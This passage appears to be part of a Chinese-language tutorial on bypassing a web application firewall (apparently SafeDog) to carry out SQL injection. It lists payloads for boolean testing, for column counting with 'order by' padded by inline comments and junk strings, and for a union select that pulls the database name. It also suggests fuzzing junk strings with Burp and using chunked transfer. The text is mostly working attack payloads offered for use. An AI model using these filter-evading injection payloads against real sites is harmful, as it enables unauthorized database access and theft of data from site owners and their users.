可以看到,没有被拦截。
1' and 1=2 --+
猜解字段数 方法一
order by被拦截
单独的order和单独的by都不会被拦截,我们需要在order by之间加各种无效字符。
可以将 1' order /*$xxx$*/ by 1 --+ 放burp里跑各种垃圾参数字典来爆破。
经过测试,1' order/*%%!asd%%%%*/by 3 --+可以成功过狗
通过内联注释/*!*/和注释/**/以及一些无效字符也可以绕过(需要不断Fuzz尝试)
1' /*!order/*!/*/**/by*/ 3 --+
方法二 分块传输
1' order by 3 --+
获取当前数据库 方法一
1' union select 1,database() --+ 被拦截
分开测试 union select 会被拦截
database() 也会被拦截
先绕过union select:
和之前order by的绕过方法一样
1' union/*%%!asd%%%%*/select 1,2 --+
再绕过database():
经过测试,我们发现单独的database不会被拦截,加了括号就会了
我们将之前的垃圾数据/*%%!asd%%%%*/放到括号了,即可成功绕过
拼接一下,最终的payload为:
1' union/*%%!asd%%%%*/select 1,database(/*%%!asd%%%%*/) --+